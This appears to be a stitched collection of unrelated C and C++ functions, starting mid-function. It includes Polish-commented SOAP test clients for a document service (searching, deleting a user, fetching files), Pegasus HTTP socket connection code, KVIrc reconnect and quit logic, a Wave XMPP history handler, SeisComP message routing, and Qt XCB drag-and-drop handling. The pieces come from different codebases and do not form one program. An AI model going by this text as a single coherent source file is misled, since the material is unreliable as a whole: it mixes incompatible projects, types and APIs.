0/*offset*/, 1000/*limit*/, mtds, formMtds, sortInfo, &searchResults); #ifdef ENABLE_WS_SECURITY WSSecurity_client_clear(&WSSEclientStruct); #endif /*ifdef ENABLE_WS_SECURITY*/ if (status == SOAP_OK) { printf("\nIlość znalezionych dokumentów: %i\n",searchResults->__size); for (iter=0; iter<searchResults->__size; iter++) { printf("\n---\n#%i: id = <%li> --> nazwa pliku: <%s> \n", iter, searchResults->__ptr[iter].id, searchResults->__ptr[iter].filename); if(searchResults->__ptr[iter].mtds != NULL) { for (jupiter=0; jupiter<searchResults->__ptr[iter].mtds->__size; jupiter++) { printf("\n OID:<%s> | wartosc:<%s>",searchResults->__ptr[iter].mtds->__ptr[jupiter].mtdOid,searchResults->__ptr[iter].mtds->__ptr[jupiter].mtdValue); } } else { printf("\nMETADATA = NULL\n"); } } printf("\n\nkoniec testu\n"); } else { /*odpowiedź w razie błędu*/ soap_print_fault(soap, stderr); soap_end(soap); soap_done(soap); free(serverURL); return -1; } soap_end(soap); soap_done(soap); free(serverURL); return 0; }
int main(int argc, char *argv[]) { bmd_conf *konfiguracja=NULL; struct soap soap; int result; char *serverURL = NULL; char *host = NULL; long int ssl_enabled=0; long int authenticate=0; char *keyfile=NULL; char *keyfile_passwd=NULL; char *keyfile_ssl=NULL; char *keyfile_passwd_ssl=NULL; char *cacert=NULL; char *capath=NULL; int status = 0; struct xsd__base64Binary *base64Cert = NULL; char *serverResponse = NULL; int i=0; _GLOBAL_debug_level=0; if (argc==3) { for (i=1; i<argc; i++) { if (strcmp(argv[i],"-d")==0) { if (argc>i+1) _GLOBAL_debug_level=atoi(argv[i+1]); } } } else { printf("%s\n",argv[0]); printf("\nniepoprawne wywołanie\n\nuzyj ponizszych parametrow\n"); printf("-------------------------------------------------------\n"); printf("\t-d liczba\tpoziom logowania\n"); printf("-------------------------------------------------------\n"); return -1; } /*załadowanie bibliotek ssl-owych*/ SSL_load_error_strings(); SSL_library_init(); /*funkcje konfiguracyjne*/ load_soap_configuration(&konfiguracja); configuration(konfiguracja,&host,&keyfile,&keyfile_passwd,&keyfile_ssl,&keyfile_passwd_ssl,&cacert,&capath,&ssl_enabled); /*funkcja ustanowienia połaczenia z serwerem*/ status=connection(&soap,ssl_enabled,authenticate,keyfile_ssl,keyfile_passwd_ssl,cacert,capath); if (status!=SOAP_OK) { PRINT_DEBUG("SOAPCLIENTERR Connection error\n"); return 0; } GenBuf_t *cert_pem=NULL; base64Cert = (struct xsd__base64Binary *)malloc(sizeof(struct xsd__base64Binary)); status = bmd_load_binary_content(keyfile,&cert_pem); if (status != BMD_OK) { PRINT_DEBUG("SOAPCLIENTERR Error while reading certificate file\n"); return 0; } base64Cert->__ptr=cert_pem->buf; base64Cert->__size=cert_pem->size; soap_set_namespaces(&soap, bmd230_namespaces); /*********************************************************************************/ /************************ funkcja testowa ****************************************/ // status=soap_call_bmd230__bmdRegisterNewUser( &soap, host, NULL, base64Cert, NULL, NULL, certificateAttributes, &result); status=soap_call_bmd230__bmdDeleteUser( &soap, host, NULL, base64Cert, NULL, NULL, NULL, "14", &result); /*********************************************************************************/ /*********************************************************************************/ if (status == SOAP_OK) { /*********************************************************************************/ /************************ funkcja odpowiedź ****************************************/ printf("Usunięcie użytkownika powiodło się %i\n",result); /*********************************************************************************/ /*********************************************************************************/ } else { /*odpowiedź w razie błędu*/ soap_print_fault(&soap, stderr); soap_end(&soap); soap_done(&soap); free(serverURL); return -1; } soap_end(&soap); soap_done(&soap); free(serverURL); return 0; }
HTTPConnection* HTTPConnector::connect( const String& host, const Uint32 portNumber, SSLContext * sslContext, Uint32 timeoutMilliseconds, MessageQueue* outputMessageQueue) { PEG_METHOD_ENTER(TRC_HTTP, "HTTPConnector::connect()"); #ifdef PEGASUS_OS_PASE AutoPtr<PaseCcsid> ccsid; #endif SocketHandle socket = PEGASUS_INVALID_SOCKET; // Use an AutoPtr to ensure the socket handle is closed on exception AutoPtr<SocketHandle, CloseSocketHandle> socketPtr(&socket); #ifndef PEGASUS_DISABLE_LOCAL_DOMAIN_SOCKET if (0 == host.size()) { // Set up the domain socket for a local connection sockaddr_un address; #ifdef PEGASUS_OS_PASE // PASE needs ccsid 819 to perform domain socket operation int orig_ccsid; orig_ccsid = _SETCCSID(-1); if (orig_ccsid == -1) { PEG_TRACE_CSTRING(TRC_DISCARDED_DATA, Tracer::LEVEL2, "HTTPConnector::connect() Can not get current PASE CCSID."); orig_ccsid = 1208; } ccsid.reset(new PaseCcsid(819, orig_ccsid)); #endif memset(&address, 0, sizeof(address)); address.sun_family = AF_UNIX; strcpy(address.sun_path, PEGASUS_LOCAL_DOMAIN_SOCKET_PATH); socket = Socket::createSocket(AF_UNIX, SOCK_STREAM, 0); if (socket == PEGASUS_INVALID_SOCKET) { PEG_METHOD_EXIT(); throw CannotCreateSocketException(); } Socket::disableBlocking(socket); // Connect the socket to the address: if (!Socket::timedConnect( socket, reinterpret_cast<sockaddr*>(&address), sizeof(address), timeoutMilliseconds)) { MessageLoaderParms parms( "Common.HTTPConnector.CONNECTION_FAILED_LOCAL_CIM_SERVER", "Cannot connect to local CIM server. Connection failed."); PEG_METHOD_EXIT(); throw CannotConnectException(parms); } } else #endif { // Set up the IP socket connection // Make the internet address: #ifdef PEGASUS_ENABLE_IPV6 struct addrinfo *addrInfo, *addrInfoRoot = NULL; #else sockaddr_in address; #endif #ifdef PEGASUS_ENABLE_IPV6 if (!_MakeAddress( (const char*)host.getCString(), portNumber, (void**)(void*)&addrInfoRoot)) #else if (!_MakeAddress((const char*)host.getCString(), portNumber, address)) #endif { char scratch[22]; Uint32 n; const char * portStr = Uint32ToString(scratch, portNumber, n); PEG_METHOD_EXIT(); throw InvalidLocatorException(host+":"+String(portStr,n)); } #ifdef PEGASUS_ENABLE_IPV6 addrInfo = addrInfoRoot; while (addrInfo) { // Create the socket: socket = Socket::createSocket(addrInfo->ai_family, addrInfo->ai_socktype, addrInfo->ai_protocol); #else socket = Socket::createSocket(PF_INET, SOCK_STREAM, IPPROTO_TCP); #endif if (socket == PEGASUS_INVALID_SOCKET) { #ifdef PEGASUS_ENABLE_IPV6 freeaddrinfo(addrInfoRoot); #endif PEG_METHOD_EXIT(); throw CannotCreateSocketException(); } #ifndef PEGASUS_OS_TYPE_WINDOWS // We need to ensure that the socket number is not higher than // what fits into FD_SETSIZE,because we else won't be able to select // on it and won't ever communicate correct on that socket. if (socket >= FD_SETSIZE) { # ifdef PEGASUS_ENABLE_IPV6 freeaddrinfo(addrInfoRoot); # endif // the socket is useless to us, close it Socket::close(socket); PEG_TRACE( (TRC_DISCARDED_DATA, Tracer::LEVEL1, "createSocket() returned too large socket number %d." "Cannot connect to %s:%d. Connection failed.", socket, (const char*) host.getCString(), portNumber)); PEG_METHOD_EXIT(); throw CannotCreateSocketException(); } #endif Socket::disableBlocking(socket); // Connect the socket to the address: if (!Socket::timedConnect( socket, #ifdef PEGASUS_ENABLE_IPV6 reinterpret_cast<sockaddr*>(addrInfo->ai_addr), addrInfo->ai_addrlen, #else reinterpret_cast<sockaddr*>(&address), sizeof(address), #endif timeoutMilliseconds)) { #ifdef PEGASUS_ENABLE_IPV6 addrInfo = addrInfo->ai_next; if (addrInfo) { Socket::close(socket); continue; } #endif char scratch[22]; Uint32 n; const char * portStr = Uint32ToString(scratch, portNumber, n); MessageLoaderParms parms( "Common.HTTPConnector.CONNECTION_FAILED_TO", "Cannot connect to $0:$1. Connection failed.", host, portStr); #ifdef PEGASUS_ENABLE_IPV6 freeaddrinfo(addrInfoRoot); #endif PEG_METHOD_EXIT(); throw CannotConnectException(parms); } #ifdef PEGASUS_ENABLE_IPV6 break; } freeaddrinfo(addrInfoRoot); #endif } // Create HTTPConnection object: SharedPtr<MP_Socket> mp_socket(new MP_Socket(socket, sslContext, 0)); // mp_socket now has responsibility for closing the socket handle socketPtr.release(); if (mp_socket->connect(timeoutMilliseconds) < 0) { char scratch[22]; Uint32 n; const char * portStr = Uint32ToString(scratch, portNumber, n); MessageLoaderParms parms( "Common.HTTPConnector.CONNECTION_FAILED_TO", "Cannot connect to $0:$1. Connection failed.", host, portStr); PEG_METHOD_EXIT(); throw CannotConnectException(parms); } AutoPtr<HTTPConnection> connection(new HTTPConnection( _monitor, mp_socket, String::EMPTY, 0, outputMessageQueue)); // Solicit events on this new connection's socket: int index; if (-1 == (index = _monitor->solicitSocketMessages( connection->getSocket(), connection->getQueueId(), MonitorEntry::TYPE_CONNECTION))) { PEG_TRACE_CSTRING(TRC_DISCARDED_DATA, Tracer::LEVEL1, "HTTPConnector::connect: Attempt to allocate entry in " "_entries table failed."); (connection->getMPSocket()).close(); } connection->_entry_index = index; _rep->connections.append(connection.get()); PEG_METHOD_EXIT(); return connection.release(); }
int main(int argc, char *argv[]) { bmd_conf *konfiguracja=NULL; struct soap soap; char *serverURL = NULL; char *host = NULL; long int ssl_enabled=0; long int authenticate=0; char *keyfile=NULL; char *keyfile_passwd=NULL; char *keyfile_ssl=NULL; char *keyfile_passwd_ssl=NULL; char *cacert=NULL; char *capath=NULL; int status = 0; struct xsd__base64Binary *base64Cert = NULL; int i=0; char *hash=NULL; long int id=0; GenBuf_t plik; int stream = 0; _GLOBAL_debug_level=0; if (argc==7) { for (i=1; i<argc; i++) { if (strcmp(argv[i],"-d")==0) { if (argc>i+1) _GLOBAL_debug_level=atoi(argv[i+1]); } if (strcmp(argv[i],"-p")==0) { if (argc>i+1) asprintf(&hash,"%s",argv[i+1]); printf("%s\n",hash); id = atol(hash); printf("%li\n",id); } if (strcmp(argv[i],"-s")==0) { if (argc>i+1) stream=atoi(argv[i+1]); } } } else { printf("%s\n",argv[0]); printf("\nniepoprawne wywołanie\n\nuzyj ponizszych parametrow\n"); printf("-------------------------------------------------------\n"); printf("\t-d liczba\tpoziom logowania\n"); printf("\t-p liczba\tid pobieranego pliku\n"); printf("\t-s 0|1\t\tnostream|stream\n"); printf("-------------------------------------------------------\n"); return -1; } /*załadowanie bibliotek ssl-owych*/ SSL_load_error_strings(); SSL_library_init(); /*funkcje konfiguracyjne*/ load_soap_configuration(&konfiguracja); configuration(konfiguracja,&host,&keyfile,&keyfile_passwd,&keyfile_ssl,&keyfile_passwd_ssl,&cacert,&capath,&ssl_enabled); /*funkcja ustanowienia połaczenia z serwerem*/ status=connection(&soap,ssl_enabled,authenticate,keyfile_ssl,keyfile_passwd_ssl,cacert,capath); if (status!=SOAP_OK) { PRINT_DEBUG("SOAPCLIENTERR Connection error\n"); return 0; } /*przygotowanie danych niezbędnych do uruchomienia funkcji web-owej*/ GenBuf_t *cert_pem=NULL; struct bmd230__fileInfo *fileResponse = NULL; base64Cert = (struct xsd__base64Binary *)malloc(sizeof(struct xsd__base64Binary)); status = bmd_load_binary_content(keyfile,&cert_pem); if (status != BMD_OK) { PRINT_DEBUG("SOAPCLIENTERR Error while reading certificate file\n"); return 0; } base64Cert->__ptr=(unsigned char*)cert_pem->buf; base64Cert->__size=cert_pem->size; soap_set_namespaces(&soap, bmd230_namespaces); switch(stream) { case 0 : { /*********************************************************************************/ /************************ funkcja testowa ****************************************/ status=soap_call_bmd230__bmdGetFileByIdInZipPack(&soap, host, NULL, base64Cert, NULL, NULL, NULL, id, nostream, &fileResponse); /*********************************************************************************/ /*********************************************************************************/ if (status == SOAP_OK) { /*********************************************************************************/ /************************ funkcja odpowiedź ****************************************/ printf("Znaleziony plik: %s\nWielkość pliku: %i\n", fileResponse->filename,fileResponse->file->__size); plik.buf=(char*)malloc(fileResponse->file->__size+2); memset(plik.buf,0,fileResponse->file->__size+1); memcpy(plik.buf,fileResponse->file->__ptr,fileResponse->file->__size); plik.size=fileResponse->file->__size; //printf("%s\n",fileResponse->file->__ptr); bmd_save_buf(&plik,fileResponse->filename); /*********************************************************************************/ /*********************************************************************************/ } else { /*odpowiedź w razie błędu*/ soap_print_fault(&soap, stderr); soap_end(&soap); soap_done(&soap); free(serverURL); return -1; } break; } case 1 : { soap.fdimewriteopen = dime_write_open; soap.fdimewriteclose = dime_write_close; soap.fdimewrite = dime_write; status=soap_call_bmd230__bmdGetFileByIdInZipPack(&soap, host, NULL, base64Cert, NULL, NULL, NULL,id, stream, &fileResponse); if (status == SOAP_OK) { /*********************************************************************************/ /************************ funkcja odpowiedź ****************************************/ printf("Znaleziony plik: %s\n", fileResponse->filename); /*********************************************************************************/ /*********************************************************************************/ } else { /*odpowiedź w razie błędu*/ soap_print_fault(&soap, stderr); soap_end(&soap); soap_done(&soap); free(serverURL); return -1; } break; } } soap_end(&soap); soap_done(&soap); free(serverURL); return 0; }
void KviIrcContext::connectionFailed(int iError) { if(!m_pConnection) return; // this may happen in the destructor! m_pConsole->output(KVI_OUT_SYSTEMERROR, __tr2qs("Connection attempt failed [%s]"), m_pConnection->target()->server()->hostName().toUtf8().data()); // if the connection has been aborted by the user then just go idle if(iError == KviError::OperationAborted) goto enter_idle_state; // FIXME: this should stop on critical errors ! if(KVI_OPTION_BOOL(KviOption_boolAutoReconnectOnUnexpectedDisconnect)) { if((!KVI_OPTION_UINT(KviOption_uintMaxAutoReconnectAttempts) || (m_uConnectAttemptCount < KVI_OPTION_UINT(KviOption_uintMaxAutoReconnectAttempts)))) { m_uConnectAttemptCount++; //FIXME: Multiply the delay by (m_uConnectAttemptCount / 2) so later connects are less frequent. if(!_OUTPUT_MUTE) { QString szTmp = QString(__tr2qs("Will attempt to reconnect in %1 seconds")).arg(KVI_OPTION_UINT(KviOption_uintAutoReconnectDelay)); QString szNum; if(!KVI_OPTION_UINT(KviOption_uintMaxAutoReconnectAttempts)) szNum = QString(__tr2qs("%1")).arg(m_uConnectAttemptCount); else szNum = QString(__tr2qs("%1 of %2")).arg(m_uConnectAttemptCount).arg(KVI_OPTION_UINT(KviOption_uintMaxAutoReconnectAttempts)); szTmp += " [" + szNum + "]"; m_pConsole->outputNoFmt(KVI_OUT_SYSTEMMESSAGE, szTmp); } KviIrcServer oldServer(*(connection()->target()->server())); QString oldNickname = connection()->userInfo()->isAway() ? connection()->userInfo()->nickNameBeforeAway() : connection()->userInfo()->nickName(); KviAsynchronousConnectionData * d = new KviAsynchronousConnectionData(); d->szServer = oldServer.hostName(); d->szServerId = oldServer.id(); d->uPort = oldServer.port(); d->bPortIsOk = true; d->bUseIPv6 = oldServer.isIPv6(); d->bUseSSL = oldServer.useSSL(); d->bSTARTTLS = oldServer.enabledSTARTTLS(); d->szPass = oldServer.password(); d->szNick = oldNickname; d->szInitUMode = oldServer.initUMode(); d->szCommandToExecAfterConnect = ""; setAsynchronousConnectionData(d); beginAsynchronousConnect(1000 * KVI_OPTION_UINT(KviOption_uintAutoReconnectDelay)); setState(PendingReconnection); // destroy the actual connection return; } else { if(!_OUTPUT_MUTE) m_pConsole->output(KVI_OUT_SYSTEMERROR, __tr2qs("Maximum number of reconnect attempts reached (%d): giving up"), KVI_OPTION_UINT(KviOption_uintMaxAutoReconnectAttempts)); } } // reset the attempt count m_uConnectAttemptCount = 1; if(connection()->target()->server()->cacheIp()) { if((((int)iError) == KviError::ConnectionTimedOut) || (((int)iError) == KviError::ConnectionRefused) || (((int)iError) == KviError::NetworkUnreachable) || (((int)iError) == KviError::HostUnreachable)) { m_pConsole->output(KVI_OUT_SYSTEMWARNING, __tr2qs("The connection attempt failed while using a cached IP address for the current server")); m_pConsole->output(KVI_OUT_SYSTEMWARNING, __tr2qs("The problem *might* be caused by an updated DNS entry")); m_pConsole->output(KVI_OUT_SYSTEMWARNING, __tr2qs("Try reconnecting with caching disabled")); } } enter_idle_state: setState(Idle); }
void XmppHistoryResponseActor::execute() { qDebug("EXECUTE SignerResponse"); BEGIN_EXECUTE; // Analyze the request { XmppTag* pubsub = m_stanza.child("pubsub"); XmppTag* items = pubsub ? pubsub->child( "items" ) : 0; XmppTag* history = items ? items->child("delta-history") : 0; if ( !history ) { XMPPERROR("Malformed delta-hiistory request"); } // TODO: Inspect the hashes that are being sent bool ok = true; m_start = history->attribute("start-version").toLong(&ok); if ( !ok || m_start < 0) { XMPPERROR("start-version missing"); } m_end = history->attribute("end-version").toLong(&ok); if ( !ok || m_end < 0 ) { XMPPERROR("end-version missing"); } QString waveletName = history->attribute("wavelet-name"); m_url = WaveUrl( waveletName ); if ( m_url.isNull() ) { XMPPERROR("Malformed wavelet-name"); } } // Wait until the connection is ready if ( !connection()->isReady() ) yield( RecvSignal( connection(), SIGNAL(ready())) ); // Send a query to the database asking for the deltas { m_msgId = nextId(); PBMessage<messages::QueryWaveletUpdates>* query = new PBMessage<messages::QueryWaveletUpdates>( ActorId("store", m_url.toString() ), m_msgId ); query->setCreateOnDemand( true ); query->set_wavelet_name(m_url.toString().toStdString() ); query->set_start_version( m_start ); query->set_end_version( m_end ); bool ok = post( query ); if ( !ok ) { XMPPERROR("Internal server error. Could not talk to database."); } } // Wait for a response from the database yield( RecvPB<messages::QueryWaveletUpdatesResponse>(m_msgId) | Timeout(10000) ); if ( REASON(RecvPB<messages::QueryWaveletUpdatesResponse>) ) { if ( !REASON->ok() ) { XMPPERROR("Data base reported an error:" + QString::fromStdString( REASON->error() )); } // Send the requested deltas { QString send; QXmlStreamWriter writer( &send ); writer.writeStartElement("iq"); writer.writeAttribute("type", "result" ); writer.writeAttribute("id", m_stanza.stanzaId() ); writer.writeAttribute("to", connection()->domain() ); writer.writeAttribute("from", Settings::settings()->xmppComponentName() ); writer.writeStartElement("pubsub"); writer.writeAttribute("xmlns", "http://jabber.org/protocol/pubsub" ); writer.writeStartElement("items"); for( i = 0; i < REASON->applied_delta_size(); ++i ) { QByteArray ba = QByteArray::fromRawData( REASON->applied_delta(i).data(), REASON->applied_delta(i).length() ); QString str64 = QString::fromAscii( ba.toBase64() ); writer.writeStartElement("item"); writer.writeStartElement("applied-delta"); writer.writeCDATA( str64 ); writer.writeEndElement(); writer.writeEndElement(); } writer.writeStartElement("item"); writer.writeStartElement("commit-notice"); writer.writeAttribute("xmlns", "http://waveprotocol.org/protocol/0.2/waveserver" ); writer.writeAttribute("version", QString::number(REASON->end_version()) ); writer.writeEndElement(); writer.writeEndElement(); writer.writeStartElement("item"); writer.writeStartElement("history-truncated"); writer.writeAttribute("xmlns", "http://waveprotocol.org/protocol/0.2/waveserver" ); writer.writeAttribute("version", QString::number(REASON->end_version()) ); writer.writeEndElement(); writer.writeEndElement(); writer.writeEndElement(); writer.writeEndElement(); writer.writeEndElement(); connection()->send( send ); } } else { XMPPERROR("Timeout waiting for database"); } END_EXECUTE; }
void KviIrcContext::terminateConnectionRequest(bool bForce, const QString & szQuitMsg, bool bSimulateUnexpectedDisconnect) { if(!connection()) return; // hm ? connection()->stateData()->setSimulateUnexpectedDisconnect(bSimulateUnexpectedDisconnect); switch(m_eState) { case Connected: { // was connected : send a quit and abort the connection bool bQuitSentJustNow = false; if(!connection()->stateData()->sentQuit()) { KVS_TRIGGER_EVENT_0(KviEvent_OnDisconnectRequest, m_pConsole); QString szQuit = szQuitMsg; if(szQuit.isEmpty()) szQuit = KVI_OPTION_STRING(KviOption_stringQuitMessage); KviQString::escapeKvs(&szQuit, KviQString::PermitVariables | KviQString::PermitFunctions); QString buffer; KviKvsVariant ret; if(KviKvsScript::evaluate(szQuit, console(), nullptr, &ret)) ret.asString(buffer); else buffer = szQuit; QByteArray dat = connection()->encodeText(buffer); connection()->stateData()->setSentQuit(); connection()->sendFmtData("QUIT :%s", dat.data() ? dat.data() : ""); // here theoretically we COULD get disconnected bQuitSentJustNow = true; } // else it was already sent anyway if(KVI_OPTION_BOOL(KviOption_boolForceBrutalQuit) || bForce || (!bQuitSentJustNow)) { if(!bQuitSentJustNow) { // idle for some milliseconds in order to allow the quit message to reach // the remote end without breaking the connection KviThread::msleep(100); } // and brutally abort the connection (if it still exists!!!) if(connection()) connection()->abort(); } else { if(bQuitSentJustNow) m_pConsole->outputNoFmt(KVI_OUT_SYSTEMMESSAGE, __tr2qs("Sent QUIT, waiting for the server to close the connection...")); } } break; case PendingReconnection: case Connecting: case LoggingIn: // was waiting for connection or login, just abort it: it will trigger an error anyway // though act as if we sent the quit message, so we'll not treat the disconnection as "unexpected". connection()->stateData()->setSentQuit(); connection()->abort(); break; default: // should never end here! KVI_ASSERT(false); break; } }
// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> int Import::connectToSink(const std::string& sink) { std::string protocol = "spread"; std::string server = sink; size_t pos = sink.find("://"); if ( pos != std::string::npos ) { protocol = sink.substr(0,pos); server = sink.substr(pos+3); } Communication::NetworkInterfacePtr ni = Communication::NetworkInterface::Create(protocol.c_str()); if (ni == NULL) { SEISCOMP_ERROR("Networkinterface \"%s\" not found", protocol.c_str()); return Core::Status::SEISCOMP_FAILURE; } _sink = new Communication::SystemConnection(ni.get()); // Connect to the sink master and use a default name int ret; bool first = true; while ( (ret = _sink->connect(server, "", Communication::Protocol::IMPORT_GROUP)) != Core::Status::SEISCOMP_SUCCESS && !_exitRequested ) { if ( first ) { SEISCOMP_WARNING("Could not connect to the sink master %s : %s, trying again every 2s", sink.c_str(), Core::Status::StatusToStr(ret)); first = false; } Core::sleep(2); } if (ret != Core::Status::SEISCOMP_SUCCESS) return ret; // Get rid of data messages and read commands that are may send. SEISCOMP_INFO("Successfully connected to sink master: %s", sink.c_str()); // Build routing table if (_mode == RELAY) { buildRelayRoutingtable(_routeUnknownGroup); } else if (_mode == IMPORT) { if (!buildImportRoutingtable()) { SEISCOMP_ERROR("Could not built routing table for IMPORT mode.\nThere are no routing entries in specified in the configuration file"); return 0; } } else { SEISCOMP_ERROR("Unknown import mode: %i", _mode); return Core::Status::SEISCOMP_FAILURE; } _sinkMessageThread = new boost::thread(boost::bind(&Import::readSinkMessages, this)); // Print routing table for (std::map<std::string, std::string>::iterator it = _routingTable.begin(); it != _routingTable.end(); ++it) SEISCOMP_INFO("%s@%s -> %s@%s", it->first.c_str(), connection()->masterAddress().c_str(), it->second.c_str(), sink.c_str()); // Subscribe to source message groups for (std::map<std::string, std::string>::iterator it = _routingTable.begin(); it != _routingTable.end(); ++it) { if (connection()->subscribe(it->first) != Core::Status::SEISCOMP_SUCCESS) SEISCOMP_INFO("Could subscribe to group: %s", it->first.c_str()); } return Core::Status::SEISCOMP_SUCCESS; }
void QXcbDrag::move(const QMouseEvent *me) { // The mouse event is in the coordinate system of the window that started the drag. // We do not know which window that was at this point, so we just use the device pixel ratio // of the QGuiApplication. This will break once we support screens with different DPR. Fixing // this properly requires some redesign of the drag and drop architecture. static const int dpr = int(qApp->devicePixelRatio()); QBasicDrag::move(me); QPoint globalPos = me->globalPos(); if (source_sameanswer.contains(globalPos) && source_sameanswer.isValid()) return; const QList<QXcbScreen *> &screens = connection()->screens(); QXcbScreen *screen = connection()->primaryScreen(); for (int i = 0; i < screens.size(); ++i) { if (screens.at(i)->geometry().contains(globalPos)) { screen = screens.at(i); break; } } if (screen != current_screen) { // ### need to recreate the shaped pixmap window? // int screen = QCursor::x11Screen(); // if ((qt_xdnd_current_screen == -1 && screen != X11->defaultScreen) || (screen != qt_xdnd_current_screen)) { // // recreate the pixmap on the new screen... // delete xdnd_data.deco; // QWidget* parent = object->source()->window()->x11Info().screen() == screen // ? object->source()->window() : QApplication::desktop()->screen(screen); // xdnd_data.deco = new QShapedPixmapWidget(parent); // if (!QWidget::mouseGrabber()) { // updatePixmap(); // xdnd_data.deco->grabMouse(); // } // } // xdnd_data.deco->move(QCursor::pos() - xdnd_data.deco->pm_hot); current_screen = screen; } // qt_xdnd_current_screen = screen; xcb_window_t rootwin = current_screen->root(); xcb_translate_coordinates_reply_t *translate = ::translateCoordinates(connection(), rootwin, rootwin, globalPos.x() * dpr, globalPos.y() * dpr); if (!translate) return; xcb_window_t target = translate->child; int lx = translate->dst_x; int ly = translate->dst_y; free (translate); if (target && target != rootwin) { xcb_window_t src = rootwin; while (target != 0) { DNDDEBUG << "checking target for XdndAware" << target << lx << ly; // translate coordinates translate = ::translateCoordinates(connection(), src, target, lx, ly); if (!translate) { target = 0; break; } lx = translate->dst_x; ly = translate->dst_y; src = target; xcb_window_t child = translate->child; free(translate); // check if it has XdndAware xcb_get_property_cookie_t cookie = Q_XCB_CALL(xcb_get_property(xcb_connection(), false, target, atom(QXcbAtom::XdndAware), XCB_GET_PROPERTY_TYPE_ANY, 0, 0)); xcb_get_property_reply_t *reply = xcb_get_property_reply(xcb_connection(), cookie, 0); bool aware = reply && reply->type != XCB_NONE; free(reply); if (aware) { DNDDEBUG << "Found XdndAware on " << target; break; } target = child; } if (!target || target == shapedPixmapWindow()->handle()->winId()) { DNDDEBUG << "need to find real window"; target = findRealWindow(globalPos, rootwin, 6, true); if (target == 0) target = findRealWindow(globalPos, rootwin, 6, false); DNDDEBUG << "real window found" << target; } } QXcbWindow *w = 0; if (target) { w = connection()->platformWindowFromId(target); if (w && (w->window()->type() == Qt::Desktop) /*&& !w->acceptDrops()*/) w = 0; } else { w = 0; target = rootwin; } xcb_window_t proxy_target = xdndProxy(connection(), target); if (!proxy_target) proxy_target = target; int target_version = 1; if (proxy_target) { xcb_get_property_cookie_t cookie = xcb_get_property(xcb_connection(), false, proxy_target, atom(QXcbAtom::XdndAware), XCB_GET_PROPERTY_TYPE_ANY, 0, 1); xcb_get_property_reply_t *reply = xcb_get_property_reply(xcb_connection(), cookie, 0); if (!reply || reply->type == XCB_NONE) target = 0; target_version = *(uint32_t *)xcb_get_property_value(reply); target_version = qMin(xdnd_version, target_version ? target_version : 1); free(reply); } if (target != current_target) { if (current_target) send_leave(); current_target = target; current_proxy_target = proxy_target; if (target) { int flags = target_version << 24; if (drag_types.size() > 3) flags |= 0x0001; xcb_client_message_event_t enter; enter.response_type = XCB_CLIENT_MESSAGE; enter.window = target; enter.format = 32; enter.type = atom(QXcbAtom::XdndEnter); enter.data.data32[0] = connection()->clipboard()->owner(); enter.data.data32[1] = flags; enter.data.data32[2] = drag_types.size()>0 ? drag_types.at(0) : 0; enter.data.data32[3] = drag_types.size()>1 ? drag_types.at(1) : 0; enter.data.data32[4] = drag_types.size()>2 ? drag_types.at(2) : 0; // provisionally set the rectangle to 5x5 pixels... source_sameanswer = QRect(globalPos.x() - 2, globalPos.y() -2 , 5, 5); DEBUG() << "sending Xdnd enter source=" << enter.data.data32[0]; if (w) handleEnter(w->window(), &enter); else if (target) xcb_send_event(xcb_connection(), false, proxy_target, XCB_EVENT_MASK_NO_EVENT, (const char *)&enter); waiting_for_status = false; } } if (waiting_for_status) return; if (target) { waiting_for_status = true; xcb_client_message_event_t move; move.response_type = XCB_CLIENT_MESSAGE; move.window = target; move.format = 32; move.type = atom(QXcbAtom::XdndPosition); move.data.data32[0] = connection()->clipboard()->owner(); move.data.data32[1] = 0; // flags move.data.data32[2] = (globalPos.x() * dpr << 16) + globalPos.y() * dpr; move.data.data32[3] = connection()->time(); move.data.data32[4] = toXdndAction(defaultAction(currentDrag()->supportedActions(), QGuiApplication::keyboardModifiers())); DEBUG() << "sending Xdnd position source=" << move.data.data32[0] << "target=" << move.window; source_time = connection()->time(); if (w) handle_xdnd_position(w->window(), &move); else xcb_send_event(xcb_connection(), false, proxy_target, XCB_EVENT_MASK_NO_EVENT, (const char *)&move); } }
// >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> bool Import::buildImportRoutingtable() { // Build routing table SEISCOMP_INFO("Calculating routing table ..."); try { std::vector<std::string> tmpRoutingTable = configGetStrings("routingtable"); for ( std::vector<std::string>::iterator it = tmpRoutingTable.begin(); it != tmpRoutingTable.end(); ++it ) { std::vector<std::string> tokens; Core::split(tokens, it->c_str(), ":"); if ( tokens.size() != 2 ) SEISCOMP_INFO("Malformed routing table entry: %s", it->c_str()); else _routingTable[tokens[0]] = tokens[1]; } } catch ( Config::Exception& e ) { SEISCOMP_ERROR("%s", e.what()); return false; } std::vector<std::string> sourceGroups; if ( _useSpecifiedGroups ) { try { sourceGroups = configGetStrings("msggroups"); } catch ( Config::Exception& ) { exit(0); } } else { Communication::Connection *con = connection(); if (con) sourceGroups = con->groups(); } std::map<std::string, std::string>::iterator it, tmp; for ( it = _routingTable.begin(); it != _routingTable.end(); ) { if ( std::find(sourceGroups.begin(), sourceGroups.end(), it->first) == sourceGroups.end() ) { SEISCOMP_ERROR("Group %s is not a member of available source groups. Deleting routing entry", it->first.c_str()); tmp = it; ++it; _routingTable.erase(tmp); } else ++it; } /* std::vector<std::string> sinkGroups = _sink->groups(); for ( it = _routingTable.begin(); it != _routingTable.end(); ) { if ( std::find(sinkGroups.begin(), sinkGroups.end(), it->second) == sinkGroups.end() ) { SEISCOMP_ERROR("Group %s is not a member of available sink groups. Deleting routing entry", it->second.c_str()); tmp = it; ++it; _routingTable.erase(tmp); } else ++it; } */ return true; }
